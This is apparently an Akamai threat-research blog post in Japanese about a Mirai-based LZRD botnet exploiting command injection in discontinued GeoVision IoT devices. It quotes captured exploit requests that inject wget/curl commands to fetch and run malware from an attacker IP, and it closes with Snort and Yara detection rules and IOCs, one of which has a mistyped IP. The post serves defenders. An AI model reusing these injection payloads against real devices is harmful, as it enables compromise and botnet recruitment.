Mirai が招く、IoT デバイスの活発な悪用
エグゼクティブサマリー
Akamai Security Intelligence and Response Team(SIRT)では、廃止済みの GeoVision IoT(モノとインターネット)デバイスにおけるコマンドインジェクションの脆弱性(CVE-2024-6047、CVE-2024-11120)が活発に悪用されていることを確認しました。
SIRT は、2025 年 4 月に当社のハニーポットにおけるアクティビティを初めて特定しました。これらの脆弱性の悪用が活発化しているという報告は、2024 年 6 月と 11 月に初めて公開されて以来です。
また、当該のボットネットは、この脆弱性だけでなく、以前に報告した DigiEver の脆弱性をはじめ、他の既知の脆弱性もいくつか悪用しています。
このブログ記事では、脅威の痕跡(IOC)のリストも確認できます。この脅威に対する防御にお役立てください。
概要
2016 年以降、エンドポイントは Mirai を強制的に許可させられてきました。さらに、廃止済みの GeoVision デバイスが最近の標的になっています。2025 年 4 月初旬、Akamai SIRT は、当社のハニーポットのグローバルネットワークで URI/DateSetting.cgi をターゲットにしたアクティビティを発見しました。
調査を進めた結果、このアクティビティは、GeoVision デバイスで既に公開されているコマンドインジェクションの脆弱性(CVE-2024-6047、CVE-2024-11120)が原因であるが判明しました。
既知の脆弱性であったにもかかわらず、少なくとも公的にこれらの脆弱性について判明したことは、CVE 番号が既に割り振られているということだけでした。アトリビューションは脅威の範囲(廃止された GeoVision IoT デバイスに限定)とともに、最終的にベンダーによって直接検証されました。
脆弱性
この攻撃の標的は、GeoVision IoT デバイスの /DateSetting.cgi エンドポイントです。そして、szSrvIpAddr パラメーターにコマンドを挿入します。廃止済みの一部の GeoVision デバイスでは、このパラメーターのユーザー入力を適切にフィルタリングできません。これにより、認証されていないリモート攻撃者がターゲットシステムに恣意的なシステムコマンドを挿入して実行することができるようになってしまいます。
このコマンドインジェクションは、CVE-2024-6047 と CVE-2024-11120 の両方で追跡されます。これらの脆弱性は元々、2024 年 6 月と 11 月に報告されたものですが、当時、技術的な詳細が明らかにされず、情報が不足していたため、悪用の活発化に関する記録も公表されていませんでした。
悪用の活発化
この URI を標的にした悪用について、Akamai SIRT で初めて試行を確認したのは 2025 年 4 月初頭でした。
ペイロードをデコードすると、このボットネットが szSrvIpAddr オプションにコマンドを挿入して、Mirai でよく使われる名前である「boatnet」という、ARM ベースの Mirai マルウェアファイルをダウンロードして実行していることがわかりました(図 1)。
/DateSetting.cgi dwTimeZone=2&dwGainType=0&szSrvIpAddr=time.windows.com;$(cd /tmp;wget http://176.65.144[.]253/hiddenbin/boatnet.arm7;chmod 777 boatnet.arm7;./boatnet.arm7 geovision;)&NTP_Update_time_hh=5&NTP_Update_time_mm=10&szDateM=2024/08/07&szTimeM=14:25:16&bDateFomat=0&bDateFormatMisc=0&dwIsDelay=1&Montype=0&submit=Apply
図 1:ARM ベースの Mirai マルウェアファイル「boatnet」をダウンロードして実行するコマンド
これにより、LZRD と呼ばれる Mirai ベースのマルウェアバリアントがダウンロードされ、実行されます。 このバリアントを識別するためには、マルウェアの実行時にターゲットマシンのコンソールに出力する固有の文字列を見るのが最も一般的な方法となります(図 2)。
さらに、いくつかの確認済みの攻撃機能にも対応し、他の Mirai のバリアントとも一致していました。(図 3)。
sym.attack_udp_plain
sym.attack_get_opt_ip
sym.attack_tcp_ack
sym.attack_method_nfo
sym.attack_method_raw
sym.attack_method_hexflood
sym.attack_method_tcp
sym.attack_method_udphex
sym.attack_method_udphex
sym.attack_udp_custom
sym.attack_tcp_stomp
sym.attack_method_tcpxmas
sym.attack_tcp_syn
sym.attack_get_opt_int
sym.attack_method_std
sym.attack_method_ovhdrop
sym.attack_get_opt_str
sym.attack_method_ovh
sym.attack_method_nudp
sym.attack_tcp_bypass
sym.attack_method_stdhex
図 3:LZRD Mirai マルウェアからの攻撃機能
それだけではありません。分析を進めたところ、sym.resolve_cnc_addr() 関数内に、ハードコードされたコマンドおよびコントロール(C2)の IP アドレスも明らかになりました(図 4)。
ボットネットの C2 インフラの調査中、いくつかの C2 サーバーポートでバナーメッセージを確認しました。これらは、ボットネットの C2 通信に一部関連している可能性があります。このバナーから派生した Censys クエリー(services.banner="*[?1049h*0;Please enter your credentials*")を使用して、他のボットネットインフラをフィンガープリントすることができました。
図 5 のバナーメッセージは、2023 年に私たちが報告した InfectedSlurs メッセージ(Infected Slurs/TBOTNET)に似ています。セキュリティリサーチャーの Fox_threatintel が、2024 年 1 月に初期のボットネットと関連付け、ボットネットの残部が依然として強力になりつつあると考えられています。同リサーチャーが提供したクエリーでは結果が得られなくなりましたが、バナー文字列はかなり類似しており、関連付けの助けとなっています。
悪用される脆弱性がさらに増えた
Akamai では、このボットネットが他にも、ハニーポットに存在するさまざまな脆弱性も悪用しようとしていることを確認しました。これには、Hadoop YARN の脆弱性、ZTE ZXV10 H108L ルーターの悪用、CVE-2018-10561、および以前に報告した DigiEver の脆弱性などが挙げられます(図 6)。
/cgi-bin/cgi_main.cgi
cgiName=time_tzsetup.cgi&page=/cfg_system_time.htm&id=69&ntp=`curl --output wget.sh http://176.65.144[.]253/digi.sh; chmod 777 *; ./wget.sh`&ntp1=time.stdtime.gov.tw&ntp2=`curl --output wget.sh http://176.65.144[.]253/digi.sh; chmod 777 *; ./wget.sh`&isEnabled=0&timeDiff=+9&ntpAutoSync=1&ntpSyncMode=1&day=0&hour=0&min=0&syncDiff=30
図 6:DigiEver の脆弱性の悪用
結論
Mirai ベースのボットネットは、引き続き多くの組織にとっては悩みの種となります。旧式の IoT デバイスの普及は、この脅威を拡大させてしまうおそれがあります。セキュリティリサーチャーと同様に、脅威アクターの中には、自分たちの不正アクティビティに影響を与える最新の脆弱性情報を追跡している者もいます。IoT デバイスに影響を与える新しいリモートコード実行やコマンドインジェクションの脆弱性は、こうした脅威アクターにとって、調査や悪用の主な標的となります。
サイバー犯罪者がボットネットを構築する場合、効率的な方法として、古いデバイスのセキュリティが不十分かつ最新でないファームウェアを標的にすることが挙げられています。多くのハードウェアメーカーは、製造中止になったデバイスに対してパッチを発行していません(場合によっては、メーカー自体が倒産していることもあります)。影響を受ける GeoVision モデルは製造中止となっており、今後アップデートは提供されないとのことです。
セキュリティパッチが利用できず、今後提供される可能性がほぼない場合は、脆弱性のあるデバイスの使用を中止し、新しいモデルにアップグレードすることをお勧めします。
お気軽にお問い合わせください
IOC
Snort ルールおよび Yara ルールと併せて、IOC のリストを確認できます。防御担当者のサポートにお役立てください。
ネットワーク IOC の Snort ルール
C2 IP の Snort ルール
alert ip any any -> [209.141.44.28, 51.38.137.114, 176.65.144.253, 176.65.144.232, 198.23.212.246] any (
msg:"Possible Botnet C2 Infrastructure Activity - Suspicious IP";
sid:2000001;
rev:1;
threshold:type limit, track by_src, count 1, seconds 600;
classtype:trojan-activity;
metadata:service http, malware;
)
C2 ドメイン解決検知のための Snort ルール(ボットネット #2)
alert http any any -> any any (
msg:"Possible Botnet C2 or Malware Distribution - connect.antiwifi.dev";
content:"connect.antiwifi.dev"; http_host; nocase;
sid:2000002; rev:1;
classtype:trojan-activity;
metadata:service http, malware;
)
マルウェアサンプルの Yara ルール
rule Botnet_Indicators
{
meta:
description = "Detects botnet malware samples and network-based indicators"
date = "2025-04-22"
severity = "high"
strings:
// Network Indicators (IP & Domain)
$ip1 = "209.141.44.28"
$ip2 = "51.38.137.114"
$ip3 = "176.65.144.2534"
$ip4 = "176.65.144.232"
$ip5 = "198.23.212.246"
$domain1 = "connect.antiwifi.dev"
condition:
any of (
// SHA256 Hash Matches
hash.sha256(0, filesize) == "f05247a2322e212513ee08b2e8513f4c764bde7b30831736dfc927097baf6714",
hash.sha256(0, filesize) == "11c0447f524d0fcb3be2cd0fbd23eb2cc2045f374b70c9c029708a9f2f4a4114",
hash.sha256(0, filesize) == "8df660bd1722a09c45fb213e591d1dab73f24d240c456865fe0e2dc85573d85e",
hash.sha256(0, filesize) == "ecc794a86dcc51b1f74d8b1eb9e7e0158381faadaf4cb4ee8febd4ba17fd2516",
hash.sha256(0, filesize) == "03b1506c474a6f62f2e2b73ba4995b14da70b27e6d0aaea92638197e94d937c3",
hash.sha256(0, filesize) == "0333c6ac43c6e977e9a1c5071194d3cf8aa01222194c6e7f2fd13e631d03522d",
hash.sha256(0, filesize) == "7a8a46ace3b9261c2c7a399dcae037ce4f185f52f94b893d5bc00cd1228fb13a",
hash.sha256(0, filesize) == "50c5b6c971c503240b91787d31f9314ded38d4f2700ff90deb032478b30aa0c5",
hash.sha256(0, filesize) == "bb2ab0879282c5c7f92a51e6482d3eb60a84ab184eca258ea550d9ed04bc5eda",
hash.sha256(0, filesize) == "074a261bf281da36cc91cd13f86c7a8f75fdf96807d525c24b22c48fe01584a3",
hash.sha256(0, filesize) == "5e721c013a6e8b2246aae86974f2163d3b57a7e6608a318ab84c44b1650e650a",
hash.sha256(0, filesize) == "de3c9ecb51564e4298ce7e4ff749be0a42d37824d2fd3d5b7fbab86a04105b88",
hash.sha256(0, filesize) == "aaba1ce1f182122a7ea05683623ab2d9bd05a3507e0dfc95e8e4165f629f80a8",
hash.sha256(0, filesize) == "3f465182b5c594784e406a6a5de2f398bcc2e2ffc92d049a7990f37c267550a6",
hash.sha256(0, filesize) == "3d6a544b1f03df23e734a65b9f1e808ff513ad881f09745a3959d696075c057e",
hash.sha256(0, filesize) == "5180e3050a4a5cff52dcd8e8bb39fb6cf59a264a8fb6ddcc239615b340f1b99a",
hash.sha256(0, filesize) == "2cc4d952856a8f2e1dd73b175d730d9cc7a04c73cf6452c8d0411eedf3aed5d5",
hash.sha256(0, filesize) == "dc21419b73566651b4c1e85879c0c98a4dcff8f7d206d9a97882200503658e9c",
hash.sha256(0, filesize) == "866b2dbbd1978be007460835e8f3d2e02c1b321f856a18ba3e53030d4effe69a",
hash.sha256(0, filesize) == "64ca8dd1a2702e0463bab19a0b826f79c55cfd46e4e1b41c6c33d7e7aa2c7530",
hash.sha256(0, filesize) == "9f05425478d03e4a2fd5b990fe5625d93c468b80a3880bb52475aa7561548582",
hash.sha256(0, filesize) == "bf6984ccc9fb21beba3f492420901be0b0bace8d4530e6d2850f039622f1b96f",
hash.sha256(0, filesize) == "58f7d61e3e474d5f5eccbba79556070220f52fa011b7cd24bdd96c23c338cd4b",
// Network-based Indicator Matches
any of ($ip1, $domain1)
)
}
IPv4 アドレス
209.141.44.28
51.38.137.114
176.65.144.253
176.65.144.232
198.23.212.246
C2 ドメイン
connect.antiwifi.dev
SHA256 ハッシュ
f05247a2322e212513ee08b2e8513f4c764bde7b30831736dfc927097baf6714
11c0447f524d0fcb3be2cd0fbd23eb2cc2045f374b70c9c029708a9f2f4a4114
8df660bd1722a09c45fb213e591d1dab73f24d240c456865fe0e2dc85573d85e
ecc794a86dcc51b1f74d8b1eb9e7e0158381faadaf4cb4ee8febd4ba17fd2516
03b1506c474a6f62f2e2b73ba4995b14da70b27e6d0aaea92638197e94d937c3
0333c6ac43c6e977e9a1c5071194d3cf8aa01222194c6e7f2fd13e631d03522d
7a8a46ace3b9261c2c7a399dcae037ce4f185f52f94b893d5bc00cd1228fb13a
50c5b6c971c503240b91787d31f9314ded38d4f2700ff90deb032478b30aa0c5
bb2ab0879282c5c7f92a51e6482d3eb60a84ab184eca258ea550d9ed04bc5eda
074a261bf281da36cc91cd13f86c7a8f75fdf96807d525c24b22c48fe01584a3
5e721c013a6e8b2246aae86974f2163d3b57a7e6608a318ab84c44b1650e650a
de3c9ecb51564e4298ce7e4ff749be0a42d37824d2fd3d5b7fbab86a04105b88
aaba1ce1f182122a7ea05683623ab2d9bd05a3507e0dfc95e8e4165f629f80a8
3f465182b5c594784e406a6a5de2f398bcc2e2ffc92d049a7990f37c267550a6
3d6a544b1f03df23e734a65b9f1e808ff513ad881f09745a3959d696075c057e
5180e3050a4a5cff52dcd8e8bb39fb6cf59a264a8fb6ddcc239615b340f1b99a
2cc4d952856a8f2e1dd73b175d730d9cc7a04c73cf6452c8d0411eedf3aed5d5
dc21419b73566651b4c1e85879c0c98a4dcff8f7d206d9a97882200503658e9c
866b2dbbd1978be007460835e8f3d2e02c1b321f856a18ba3e53030d4effe69a
64ca8dd1a2702e0463bab19a0b826f79c55cfd46e4e1b41c6c33d7e7aa2c7530
9f05425478d03e4a2fd5b990fe5625d93c468b80a3880bb52475aa7561548582
bf6984ccc9fb21beba3f492420901be0b0bace8d4530e6d2850f039622f1b96f
58f7d61e3e474d5f5eccbba79556070220f52fa011b7cd24bdd96c23c338cd4b